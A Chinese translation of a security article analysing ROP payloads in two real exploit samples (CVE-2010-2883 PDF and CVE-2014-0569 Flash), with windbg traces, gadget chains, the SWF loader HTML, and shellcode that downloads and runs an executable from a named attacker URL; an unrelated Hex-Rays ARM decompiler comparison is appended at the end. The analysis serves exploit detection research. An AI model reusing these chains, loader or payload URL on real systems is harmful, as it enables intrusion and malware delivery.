深入探讨ROP 载荷分析

http://drops.wooyun.org/papers/4077

 

深入探讨ROP 载荷分析

0人收藏 收藏
2014/11/28 10:03 |  | 技术分享漏洞分析 | 占个座先 | 捐赠作者

0x00 简介


Exploit-db上看到的感觉还不错,所以就翻译一下,原文题目为《Deep Dive into ROP Payload Analysis》,作者Sudeep Singh。

这篇文章的主要目的是介绍漏洞利用中的ROP载荷的分析技术,同时也深入分析一种ROP缓解技术stack pivot检测技术,该技术目前被用于防护软件中。

通过分析之前发现的两个攻击样本(CVE-2010-2883 和CVE-2014-0569),对比了两个ROP载荷的复杂性和绕过stack pivot检测技术的能力对ROP载荷的详细分析将有助于我们更好的了解漏洞利用技术,开发出更有效的检测机制。

这篇文章主要针对漏洞分析人员以及对面向返回的编程(Return Oriented Programming)感兴趣的人。

 

0x01 场景


漏洞利用正变成越来越流行的领域,同时在类似浏览器、Adobe Reader、Flash Player、Microsoft Silverlight 、Java等通用软件中也经常发现漏洞。由于漏洞利用通常是攻击中的第一个阶段,因此比较适宜在漏洞利用阶段对攻击做防护。

在互联网上可以找到有很多用于检测和阻止漏洞利用的方案和技术。这些检测机制通常聚焦于大多数漏洞的共同特点。例如:

  1. ROP:由于现在的操作系统都默认开启了DEP,因此漏洞利用需要绕过DEP保护。ROP是绕过DEP最常用的技术。然而,由于ROP的工作方式,因此可以有很多的特征可以检测它。我们将下文中深入分析其中的stack pivot检测技术。
  2. Heap Spray:为了获取稳定的利用,大多数漏洞利用将载荷喷射到进程的地址空间中。当漏洞被触发时,执行流被重定向到喷射在进程堆中的载荷导致漏洞被利用。然而,由于Heap Spray技术的广泛应用,也再一次提供用于检测它们的特征。

最常见的特征是用Heap Spray的模式,0x0c0c0c0c是最为大家所熟知的。当然也有一些其他的模式也能够用于Heap Spray。

0x02 利用缓解


这篇文章中,我们主要关注ROP载荷分析,因此将主要讨论stack pivot检测技术。

据对多数漏洞利用主要分为下面几个阶段:

  1. 攻击者将载荷(Nopsled + ROP payload + shellcode)喷射到堆上
  2. 触发软件的漏洞
  3. 通过漏洞,攻击者控制了一些寄存器
  4. 这些寄存器被设置指向stack pivot gadget
  5. stack pivot gadget将切换原始程序的堆栈为指向攻击者控制的堆中的数据,而新的堆栈中则包含我们的ROP载荷。
  6. stack pivot gadget中的返回指令将开启ROP链的执行。

作为例子,通过一个UAF(Use After Free)漏洞的结果,我们将得到如下的场景:

movedx, dwordptr ds:[ecx]  ; edx为包含漏洞的C++对象的虚表指针
pushecx
call dwordptr ds:[edx+0x10]  ; 调用攻击者控制的虚表中的虚函数

因为我们控制了上述的程序执行流,所以我们能够将控制流重定向到下面的stack pivot gadget:

xchgeax, esp retn

当漏洞被触发时,如果eax正指向攻击者控制的堆中的数据,通过上面的代码片段,eax指向的堆空间将变成新的栈。

ROP是非常好的技术,被广泛的用在现在漏洞攻击中。这也导致了很多针对这种利用技术的检测机制被设计出来。

其中一种技术就是stack pivot检测技术。

当ROP链执行时,攻击者的最终目标是将shellcode重新放置在可执行的内存区域以绕过DEP保护。为了做到这一点,攻击者将调用一些类似VirtualAlloc的API函数。这些被攻击者用于绕过DEP的API是有限的。

由于原始程序的堆栈被切换为指向攻击者控制的数据,因此栈指针不再指向栈限以内。

程序栈限的信息被存储在TEB中。

1:020> !teb
TEB at 7ffda000
ExceptionList: 0220f908
StackBase: 02210000
StackLimit: 02201000

如果栈指针不满足下面的条件,我们认为这是一个stack pivot:

if(esp>StackLimit&&esp<StackBase)

为了更好的理解这一点,我们看一个PDF的漏洞利用,CVE-2010-2883。

0x03 ROP链分析


这篇文章中,我将介绍ROP链的分析。请注意,我们并不是分析漏洞的根本原因。我们主要是深入理解ROP载荷是如何工作的。

我将讨论两个例子。其中一个例子中,ROP载荷可以被stack pivot检测所检测到,而另一个则可以绕过该检测。

我们可以通过下面两种方式分析ROP:

  1. 动态分析:可以通过两种方式进行

    a)已知的ROP Gadget:某些情况下,可以通过静态分析找到ROP gadgets。例如,对于恶意的PDF文件,可以通过对进行Heap Spray的JavaScript代码去混淆来定位ROP gadgets。

    b)未知的ROP Gadget:某些情况下,在漏洞利用代码中定位ROP gadgets并不容易。这有可能是因为高强度混淆的代码或者ROP gadgets将在漏洞利用过程中动态构建。

    第二种情况下,ROP gadgets在执行过程中构建,因此我们需要采用其他技术来调试。

  2. 静态分析:当能够找到ROP gadgets时,可以采用该技术 要分析ROP载荷,我们需要根据ROP gadgets找到汇编语言代码。这可以通过在适当的模块地址空间中手工查找每一个ROP gadgets来完成。但是这样比较麻烦。为了使这一过程更加高效,我写了一个C代码,它将自动的从模块的地址空间中抽取ROP gadgets对应的字节码,可以在附录一中找到这段代码。

当你把去混淆过的JavaScript中的shellcode写入一个文件后,你需要通过IDA来反汇编或者通过一个十六进制编辑器来观察shellcode。通过这种方式,你可以确定这段shellcode是一段常规的shellcode还是ROP shellcode。

作为例子,来看一个恶意的pdf文件,他的MD5值为975d4c98a7ff531c26ab255447127ebb,他利用CVE-2010-2883的漏洞进行攻击。

在转储shellcode到文件中以后,通过十六进制编辑器打开文件,可以看到它不是一个常规的shellcode。我已经标示出了其中一些ROP gadgets:

enter image description here

通常情况下,所有的ROP gadgets将从同一个未被基址随机化的模块中选取。这种情况下,可以看到所有的gadgets都来自一个模块,它的基址是0x07000000。通过Windbg打开Adobe Reader,可以看到BIB.dll模块占用了0x07000000的地址。

enter image description here

因此,在这个例子中所有的ROP gadgets都是从这个模块中选择的。

通过我的代码,根据每一个ROP gadget来检查该模块的地址空间,查找相应的字节码,并记录到另一个文件中。

我的代码将区分ROP gadgets和ROP gadgets的参数。现在通过IDA加载这个文件,标记适当的节为代码和数据。

enter image description here

现在我们就能更高效的分析ROP shellcode了。 某些情况下,我们需要单步跟踪ROP shellcode来更好的理解他。这种情况下,我们就需要调试ROP shellcode,可以通过在ROP链的第一个ROP gadget上设置断点来调试。

作为例子,我将采用之前的恶意PDF样本,该样本可以在Adobe Reader大于等于9.0并且小于等于9.4.0的版本中利用。

这个恶意的PDF包含多条ROP载荷,将根据Adobe Reader的版本来选取ROP载荷。我们现在就来看采用了icucnv36.dll中的ROP gadgets的ROP shellcode。

我们通过windbg打开Adobe Reader,可以按g来运行Adobe Reader,观察它加载了更多的模块。

特别主要注意的是,这里icucnv36.dll还没有被Adobe Reader加载。如果我在第一个ROP gadget上设置断点,将不允许这样做并显示如下信息:

enter image description here

这是因为我们正在尝试在一个还没有加载的dll地址空间中设置断点。

通过如下命令,当模块加载时,将自动中断到调试器:

sxe ld icucnv36.dll

现在,运行Adobe Reader进程,打开恶意的PDF文件,很快icucnv36.dll被加载,同时自动中断到调试器。

enter image description here

现在就能够成功的在第一个ROP gadget上设置断点。

enter image description here

现在执行进程,很快第一个ROP gadget被执行了,中断到了调试器。当我们观察寄存器的内容,可以看到esp指向了0x0c0c0c10。

enter image description here

通过stack pivot gadget攻击者能够成功的切换堆栈。

如果观察地址空间中的内容,在0x0c0c0c0c处可以看到整个ROP shellcode。

enter image description here

这样就能够调试ROP shellcode,在调试器中进行单步跟踪。

让我们看看这个恶意PDF文档如何因为stack pivot被检测到。如果我们进一步追踪ROP链,我们注意到它通过0x4a80b692处的ROP gadget调用了API函数CreateFileA。

enter image description here

现在我们在API函数CreateFileA()上。

如果检查TEB中的StackBase和StackLimit的值,可以看到esp在这个范围以外。如果安全软件在CreateFileA()上设置了API钩子,这个漏洞利用将在stack pivot阶段被很容易的检测到。

enter image description here

0x04 Stack Pivot 检测绕过


我们现在来看最近刚发现的利用CVE-2014-0569漏洞的样本,它使用了可以绕过stack pivot检测的ROP载荷。这种ROP载荷之前并没有看到过。之前它只是一种概念性的证明,而现在已经被用于实际的漏洞利用中。

我在下面的地址处找到了该漏洞样本完整的网络流量的PCAP文件:

http://malware-traffic-analysis.net/2014/10/30/index2.html

正如下图看到的,该漏洞利用工具部署在kethanlingtoro.eu处。

enter image description here

下面的HTML代码用于在浏览器中加载恶意swf文件,触发在Adobe Flash Player插件中的漏洞。

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"width="10"height="10"/><paramname="movie"value="Main.swf"/>
<paramname="allowFullScreen"value="false"/>
<paramname="allowScriptAccess"value="always"/>
<paramname="FlashVars" value="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f"/>
<paramname="Play"value="true"/>
<embedtype="application/x-shockwaveflash"width="10"height="10"src="Main.swf" allowScriptAccess="always" FlashVars="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f" Play="true" allowFullScreen="false"/>
</object>
</body>
</html>

请注意上面传递给Flash加载器的参数是采用FlashVars。这对与漏洞利用是需要的,如果没有它,恶意的swf文件将导致奔溃。

在这个例子中,恶意的swf文件被高度的混淆,如下图所示,常用的Flash Decompilers也不能成功的反编译这些代码。因此通过静态分析来定位ROP gadgets并不容易。

enter image description here

通过查看反汇编后的Flash代码,可以看到在漏洞利用函数中它使用了一个Sound对象,同时调用了它的toString()方法。采用Sound对象进行漏洞利用的技术在当前很流行。通过该漏洞,Sound对象的虚函数表将被重写,而这将最终导致攻击者控制程序的执行流。

Sound对象:

enter image description here

Sound对象的toString()方法被调用:

enter image description here

下面来看如何通过调试器来分析这个ROP载荷。

环境信息:

操作系统:Win 7 SP1 32-bit

Flash Player 版本:15.0.0.167

因为我们知道Sound对象的虚函数表将被攻击者控制,所以可以在调用Sound对象调用toString()方法的地方设置断点来调试这个ROP载荷。

将windbg附加到Internet Explorer上。在加载恶意的web页面到浏览器之前,我们可以在从C:\Windows\system32\Macromed\Flash\ 加载Flash32_15_0_0_167.ocx时设置模块加载断点。

sxe ld Flash32_15_0_0_167.ocx

现在我们加载web页面,这将中断到调试器。

由于该模块开启了基址随机化,因此调用toString()方法的地址每次都会变动。我们首先找到这个地址:

1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2       call edx
5eef8947 5e         pop esi
5eef8948 c20400 ret 4

我们在0x5eef8945处设置断点。

我们运行该漏洞利用,它将中断到上述地址,如下:

1:021> g
Breakpoint 0 hit
eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 
edi=0697c020
eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0   nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}

如果我们查看该指令之前的反汇编代码,我们将看到在漏洞利用中,完整的Sound对象的虚函数表都被改写了,如下图:

enter image description here

5eef8940 8b01   mov eax,dword ptr [ecx]
5eef8942 8b5070     mov edx,dword ptr [eax+70h]
5eef8945 ffd2       call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
ecx = Sound Object
eax = VTable of the Sound Object
[eax+0x70] = address of toString() method

同时我们可以看到,在虚函数表中所有的虚函数都被重写为0x5e861193 (retn指令)。toString()方法的虚函数指针已经被改写为0x5e8805bb。

1:021> dd eax
081ab000 5e861193 5e861193 5e861193 5e861193
081ab010 5e861193 5e861193 5e861193 5e861193
081ab020 5e861193 5e861193 5e861193 5e861193
081ab030 5e861193 5e861193 5e861193 5e861193
081ab040 5e861193 5e861193 5e861193 5e861193
081ab050 5e861193 5e861193 5e861193 5e861193
081ab060 5e861193 5e861193 5e861193 5e861192
081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

我们查看一下0x5e8805bb处的反汇编代码:

1:021> u 5e8805bb
Flash32_15_0_0_167+0x205bb:
5e8805bb 94     xchg eax,esp
5e8805bc c3     ret

enter image description here

这就是stack pivot gadget,这意味着攻击者控制着eax的值以及它指向的数据。让我们查看一下:

1:021> dd eax
070ab000 5e861193 5e861193 5e861193 5e861193
070ab010 5e861193 5e861193 5e861193 5e861193
070ab020 5e861193 5e861193 5e861193 5e861193
070ab030 5e861193 5e861193 5e861193 5e861193
070ab040 5e861193 5e861193 5e861193 5e861193
070ab050 5e861193 5e861193 5e861193 5e861193
070ab060 5e861193 5e861193 5e861193 5e861192
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

enter image description here

在我们的ROP载荷中,所有的gadgets都来自于Flash32_15_0_0_167.ocx这个模块。

同时,需要注意的是stack pivot后,原始的esp的值将存储在eax中。

在ROP链中可以看到很多的gadgets指向0x5e861193,正如下面所看到的的,他们都是返回指令。

1:021> u 5e861193
Flash32_15_0_0_167+0x1193:
5e861193 c3  ret

上面一系列返回指令执行之后,我们可以看到

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59  pop ecx
5e861193 c3  ret

enter image description here

这个ROP gadget将ecx的值设置为0x5e8805bb

1:021> dd esp
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca

接下来的ROP gadget出现了四次。

1:021> u eip
Flash32_15_0_0_167+0x61478:
5e8c1478 48     dec eax
5e8c1479 c3     ret

enter image description here

正如我们之前提到的,在stack pivot执行前的原始esp的值已经被存储在了eax中。因此,eax减小四次,就是在原始栈上开辟出一个四字节。

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59     pop ecx
5e861193 c3 ret

在当前栈上包含下面的数据:

1:021> dd esp
070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478
070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192

通过上面的ROP gadget,ecx的值被设置为0x5e8e2e45,然后

1:021> u eip
Flash32_15_0_0_167+0x3a4ca:
5e89a4ca 8908   mov  dword ptr [eax],ecx
5e89a4cc 5d         pop ebp
5e89a4cd c3         ret

这将存储ecx的值在原始堆栈上(esp-4处)

enter image description here

下一个ROP gadget将0x41414141弹出到ebp中,这只是为了填充用。因为我们的ROP gadget在返回之前包含了一条pop ebp指令。 上面这些ROP gadgets将被多次执行。我们可以总结如下:

Gadget 1:
dec eax;
retn

这个ROP gadget执行四次可以再原始堆栈上开辟1个DWORD。

Gadget 2:
pop ecx;
retn

设置ecx寄存器的值。

Gadget 3:
mov dword ptr [eax], ecx;
pop ebp;
retn

将ecx的值移入原始堆栈中。

也就是说,ROP载荷通过攻击者的缓冲区中的数据来精心设置原始堆栈中的数据。

继续跟踪ROP载荷,最终发现stack pivot将再次被执行。

如果现在查看原始堆栈,可以看到堆栈被精心布置,stack pivot将重定向控制流到kernel32!VirtualAllocStub()。

enter image description here

在堆栈上精心布置的VirtualAlloc的参数如下:

enter image description here

这意味着,ROP载荷将分配具有PAGE_EXECUTE_READWRITE (0x40) 和 MEM_COMMIT (0x1000)属性的0x1000字节的内存空间。

我们查看一下TEB中的StackBase和StackLimit的值。

如下所示,栈指针在StackBase和StackLimit的范围以内,因此stack pivot缓解措施将不能阻止该漏洞利用。

enter image description here

进一步分析,在调用VirtualAllocStub()的点,堆栈布局如下:

1:020> dd esp
0220ec50 5e861193 00000000 00001000 00001000
0220ec60 00000040 5e861192 c30c4889 5e89a4ca
0220ec70 41414141 5e861192 9090a5f3 5e8e2e45
0220ec80 5e861192 c3084889 5e89a4ca 41414141
0220ec90 5e861192 90909090 5e8e2e45 5e861192
0220eca0 c3044889 5e89a4ca 41414141 5e861192
0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60
0220ecc0 5e89a4ca 070514b8 5e861192 00000143

在返回地址0x5e861193处设置断点,新分配的内存地址0x1c100000存储在eax中。 接下来的ROP载荷也很有趣:

1:020> dd esp
0220ec64 5e861192 c30c4889 5e89a4ca 41414141
0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192
0220ec84 c3084889 5e89a4ca 41414141 5e861192
0220ec94 90909090 5e8e2e45 5e861192 c3044889
0220eca4 5e89a4ca 41414141 5e861192 9090ee87
0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca
0220ecc4 070514b8 5e861192 00000143 5e8e2e45
0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021

我已经将其总结如下:

pop ecx/retn ; set ecx to 0xc30c4889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x9090a5f3
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9)
pop ecx/retn ; set ecx to 0xc3084889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x90909090
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0xc3044889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x9090ee87
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x10788d60
mov dword ptr [eax], ecx/retn ;
pop ecx/retn ; set ecx to 0x143
push eax/retn ; now we are at the shellcode

enter image description here

这部分ROP载荷将从主shellcode中拷贝0x143个DWORD到新分配的内存空间中。

enter image description here

现在就是第二阶段的shellcode了。

enter image description here

进一步对代码进行跟踪,将看到动态查找kernelbase.dll基址以及计算VirtualProtect函数地址。

enter image description here

这将修改0x01c10060处0x4b3字节大小内存区域的保护属性。然后调用GetTempPathA 构建路径C:\Users\n3on\AppData\Local\Temp\stuprt.exe。

enter image description here

通过LoadLibraryA加载wininet.dll库。

enter image description here

然后可以看到通过调用InternetOpenUrlA从http://kethanlingtoro.eu/xs3884y132186/lofla1.php下载载荷。

我们可以确定这和PCAP文件中是相同的URL,如下所示:

enter image description here

载荷将被存储在C:\Users\n3on\AppData\Local\Temp\stuprt.exe,并被执行。

通过这种方式,我们能够通过调试器分析ROP载荷以及shellcode。

下面来看另一种分析这种载荷的方法。

我们知道一旦中断到Sound对象调用toString()方法的call指令上,它将重定向控制流到stack pivot gadget。这种情况下,攻击者可以控制eax的值以及这个位置上的数据。

我们可以从内存中转储ROP载荷和shellcode到文件中。正如下面看到的,可以使用writemem命令从内存中转储大约0x1500字节的shellcode到rop.txt文件中。

enter image description here

接下来,写一个C程序,打印rop.txt中的DWORD列表。

在转储ROP载荷的同时,保存Flash32_15_0_0_167.ocx的基址也很重要(因为由于基址随机化的开启,我们需要基地址来计算ROP gadgets的相对虚拟地址)。

通过之前写的C代码,可以根据rop.txt中的ROP gadgets找到所有的字节码。

完整的绕过stack pivot检测的ROP链在附录2中。

0x05 Heap Spray 模式


由于ROP是和Heap Spray技术一起使用的,因此讨论一下这两个漏洞利用中的heap spray模式的不同。在第一个例子中,当我们在调试器中,中断到恶意PDF的第一个ROP gadget时,我们进行一下堆分析。

CVE-2010-2883 (恶意 PDF)

!heap -stat

enter image description here

可以看到在00390000处分配的堆空间具有最大的提交字节。让我们进行进一步的分析:

0:000> !heap -stat -h 00390000

enter image description here

正如所看到的,它包含了0x1f0个大小为0xfefc字节大小的块。这是一种非常固定的分配模式,也是一张很好地识别heap spray的标记。 进一步枚举所有大小为0xfefc字节的堆块

0:000> !heap -flt s fefec
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000 
_HEAP @ 360000
_HEAP @ 390000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
invalid allocation size, possible heap corruption
039c0018 1fdfd 0000 [0b]  039c0020  fefec - (busy VirtualAlloc)

如果转储处0x039c0020处的内存,可以看到NOP模式:

0:000> dd 039c0020
039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

这种模式是安全软件识别heap spray的一个好的标志,例如EMET检测heap spray。

CVE-2014-0569 (恶意 SWF)

如果检查第二个例子中的堆块分配,将发现没有任何固定的模式。

当中断到stack pivot gadget时,进行堆分析:

0:000> !heap -stat
_HEAP 00900000
Segments 00000001
Reserved bytes     00100000
Committed bytes   00100000
VirtAllocBlocks    00000000
VirtAlloc bytes   00000000
_HEAP 00150000
Segments 00000001
Reserved bytes     00100000
Committed bytes   00082000
VirtAllocBlocks    00000000
VirtAlloc bytes   00000000

上面的两块包含了最大数量的提交字节。

对于0x00900000处的堆

0:000> !heap -stat -h 00900000
heap @ 00900000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)

windbg没有给出该堆的统计信息。检查另一个堆。

0:000> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
8000 1 - 8000 (7.52)
20 31d - 63a0 (5.85)
57f0 1 - 57f0 (5.17)
4ffc 1 - 4ffc (4.70)
614 c - 48f0 (4.28)
3980 1 - 3980 (3.38)
388 10 - 3880 (3.32)
2a4 13 - 322c (2.95)
800 6 - 3000 (2.82)
580 8 - 2c00 (2.58)

enter image description here

这里并没有看到固定的模式,也就是说在第二个漏洞利用中,类似EMET的安全软件对于heap spray的检测方法将无法工作。

因为在第二个漏洞利用中,在内存空间中喷射了AS3 Flash Vector对象,可以查看这些对象:

03f4d000 000003fe 03162000 0beedead 0000027f ….. ………. 03f4f000 000003fe 03162000 0beedead 00000280 ….. ………. 03f51000 000003fe 03162000 0beedead 00000281 ….. ………. 03f53000 000003fe 03162000 0beedead 00000282 ….. ………. 03f55000 000003fe 03162000 0beedead 00000283 ….. ………. 03f57000 000003fe 03162000 0beedead 00000284 ….. ………. 03f59000 000003fe 03162000 0beedead 00000285 ….. ………. 03f5b000 000003fe 03162000 0beedead 00000286 ….. ………. 03f5d000 000003fe 03162000 0beedead 00000287 ….. ……….

其中0x3fe是Vector对象的长度。

大多数最近的漏洞利用的流程如下:

  1. 恶意SWF文件通过使用ActionScript代码喷射Flash Vector对象
  2. 触发漏洞,这将允许修改内存地址空间中的值。

在CVE-2014-0322中, 可以得到一个UAF崩溃,在inc dword ptr ds:[eax+0x10]处。

如果攻击者可以将eax+0x10指向喷射的Flash Vector对象的长度域,就能增加这个长度。

  1. 通过增加Vector对象的长度,就能够增加一个新的元素到Vector对象数组中。由于边界检查是在ActionScript代码中完成的,因此新的加入Vector对象中元素将改写内存中下一个Vector对象的长度。因此,这个漏洞利用将设置长度为一个大的值来获取程序地址空间任意位置访问的能力。

在所有这些漏洞利用中,控制流程都有一些共同的属性:

  1. Vector对象的长度被设置为0x3fe。
  2. 由于Flash AS3 Vector对象在内存中的分配方式,他们按照0x1000字节边界对齐。
  3. 都通过破坏Sound对象的虚函数表,然后调用toString()方法来获取程序控制流。

基于此,检测这种Vector对象的喷射是很重要的。

0x06 结论


可以看到由于新的漏洞利用检测技术被安全软件所使用,漏洞利用的过程也变得更加复杂。显然用于攻击的漏洞利用也注意到了这些检测技术并尝试绕过他们。通过阅读这篇文章,你将能够深入的分析漏洞利用中的ROP载荷。

0x07 附录


这里有两个附录的文件用来参考

Hex-Rays ARM Decompiler v1.0 Comparison Page

嗯!

人的闺女儿有花戴~你爹我钱少不能买~扯下了二尺红头绳~替我鸡宝扎起来~扎呀扎起来~~~

没钱买ARM Decompiler,希望能多看下面的转换对比,了解ARM汇编代码与C代码之间的常见专版类型,

俗话说的好啊 : 没有伞的孩子只能努力奔跑..

 

原始链接来自哪里你懂的.

https://www.hex-rays.com/products/decompiler/compare_arm0.shtml

 

Simple case
; struct_result *__fastcall sub_210DC(struct_result *result) var_10 = -0x10 var_4 = -4 MOV R12, SP STMFD SP!, {R0} STMFD SP!, {R12,LR} SUB SP, SP, #4 LDR R2, [SP,#0x10+var_4] MOV R3, #0 STR R3, [R2] LDR R3, [SP,#0x10+var_4] ADD R2, R3, #4 MOV R3, #0 STR R3, [R2] LDR R3, [SP,#0x10+var_4] ADD R2, R3, #8 MOV R3, #0 STR R3, [R2] LDR R3, [SP,#0x10+var_4] STR R3, [SP,#0x10+var_10] LDR R0, [SP,#0x10+var_10] ADD SP, SP, #4 LDMFD SP, {SP,LR} BX LR ; End of function sub_210DC struct_result *__fastcall sub_210DC(struct_result *result) { result->dword0 = 0; result->dword4 = 0; result->dword8 = 0; return result; }
Let’s start with a very simple function. It accepts a pointer to a structure and zeroes out its first three fields. While the function logic is obvious by just looking at the decompiler output, the assembly listing has too much noise and requires studying it. 

The decompiler saves your time and allows you to concentrate on more exciting aspects of reverse engineering.

64-bit arithmetics
; bool __cdecl uh_gt_uc() EXPORT _uh_gt_uc__YA_NXZ _uh_gt_uc__YA_NXZ ; DATA XREF: .pdata:$T7452o var_2C = -0x2C var_28 = -0x28 var_24 = -0x24 var_20 = -0x20 var_1C = -0x1C var_18 = -0x18 var_14 = -0x14 var_10 = -0x10 var_C = -0xC var_8 = -8 var_4 = -4 STR LR, [SP,#var_4]! ; $M7441 ; $LN8@uh_gt_uc SUB SP, SP, #0x28 $M7449 BL uh STR R1, [SP,#0x2C+var_24] STR R0, [SP,#0x2C+var_28] BL uc STRB R0, [SP,#0x2C+var_20] LDRB R3, [SP,#0x2C+var_20] STR R3, [SP,#0x2C+var_1C] LDR R1, [SP,#0x2C+var_1C] LDR R3, [SP,#0x2C+var_1C] MOV R2, R3,ASR#31 LDR R3, [SP,#0x2C+var_28] STR R3, [SP,#0x2C+var_18] LDR R3, [SP,#0x2C+var_24] STR R3, [SP,#0x2C+var_14] LDR R3, [SP,#0x2C+var_18] STR R3, [SP,#0x2C+var_10] STR R1, [SP,#0x2C+var_C] LDR R3, [SP,#0x2C+var_14] CMP R3, R2 BCC $LN3_8 loc_6AC BHI $LN5_0 loc_6B0 LDR R2, [SP,#0x2C+var_10] LDR R3, [SP,#0x2C+var_C] CMP R2, R3 BLS $LN3_8 $LN5_0 MOV R3, #1 STR R3, [SP,#0x2C+var_8] B $LN4_8 ; ————————————————————————— $LN3_8 ; uh_gt_uc(void)+68j MOV R3, #0 STR R3, [SP,#0x2C+var_8] $LN4_8 LDR R3, [SP,#0x2C+var_8] AND R3, R3, #0xFF STRB R3, [SP,#0x2C+var_2C] LDRB R0, [SP,#0x2C+var_2C] ADD SP, SP, #0x28 LDR PC, [SP+4+var_4],#4 ; End of function uh_gt_uc(void) bool __fastcall uh_gt_uc() { unsigned __int64 v0; // ST04_8@1 v0 = uh(); return v0 > uc(); }
Sorry for a long code snippet, ARM code tends to be longer compared to x86 code. This makes our comparison even more impressive: look at how concise is the decompiler output!

Conditional instructions
; int __cdecl ReadShort(void *, unsigned __int32 offset, int whence) ReadShort whence = -0x18 var_A = -0xA var_8 = -8 STMFD SP!, {R4,LR} SUB SP, SP, #0x10 ; whence MOV R4, #0 ADD R3, SP, #0x18+var_8 STRH R4, [R3,#-2]! STR R2, [SP,#0x18+whence] ; whence MOV R2, R3 ; buffer MOV R3, #2 ; len BL ReadData CMP R0, R4 MOVNE R0, R4 LDREQSH R0, [SP,#0x18+var_A] ADD SP, SP, #0x10 LDMFD SP!, {R4,PC} ; End of function ReadShort int __cdecl ReadShort(void *a1, unsigned __int32 offset, int whence) { int result; // r0@2 __int16 v4; // [sp+Eh] [bp-Ah]@1 v4 = 0; if ( ReadData(a1, offset, &v4, 2u, whence) ) result = 0; else result = v4; return result; }
The ARM processor has conditional instructions that can shorten the code but require high attention from the reader. The case above is very simple, just note that there is a pair of instructions: MOVNE andLDREQSH. Only one of them will be executed at once. This is how simple if-then-else looks in ARM. 

The pseudocode shows it much better and does not require any explanations. 

A quiz question: did you notice that MOVNE loads zero to R0? (because I didn’t:)
Also note that in the disassembly listing we see var_8 but the location really used is var_A, which corresponds to v4.

Conditional instructions – 2
; signed int __fastcall get_next_byte(entry_t *entry) get_next_byte ; DATA XREF: sub_3BC+30o ; LDR R2, [R0,#4] CMP R2, #0 LDRNE R3, [R0] LDRNEB R1, [R3],#1 CMPNE R1, #0 MOVEQ R1, #1 STREQ R1, [R0,#0xC] MOVEQ R0, 0xFFFFFFFF MOVEQ PC, LR SUB R2, R2, #1 STR R2, [R0,#4] STR R3, [R0] MOV R0, R1 RET ; End of function get_next_byte signed int __fastcall get_next_byte(entry_t *entry) { signed int chr; // r1@0 unsigned __int8 *ptr; // r3@0 int count; // r2@1 char done; // zf@1 signed int result; // r0@4 count = entry->count; done = count == 0; if ( count ) { ptr = entry->ptr + 1; chr = *entry->ptr; done = chr == 0; } if ( done ) { entry->done = 1; result = -1; } else { entry->count = count – 1; entry->ptr = ptr; result = chr; } return result; }
Look, the decompiler output is longer! This is a rare case when the pseudocode is longer than the disassembly listing, but it is a for a good cause: to keep it readable. There are so many conditional instructions here, it is very easy to misunderstand the dependencies. For example, did you notice that the first MOVEQ may use the condition codes set by CMP? The subtle detail is that CMPNE may be skipped and the condition codes set by CMP may reach MOVEQs. 

The decompiler represented it perfectly well. I renamed some variables and set their types, but this was an easy task.

Complex instructions
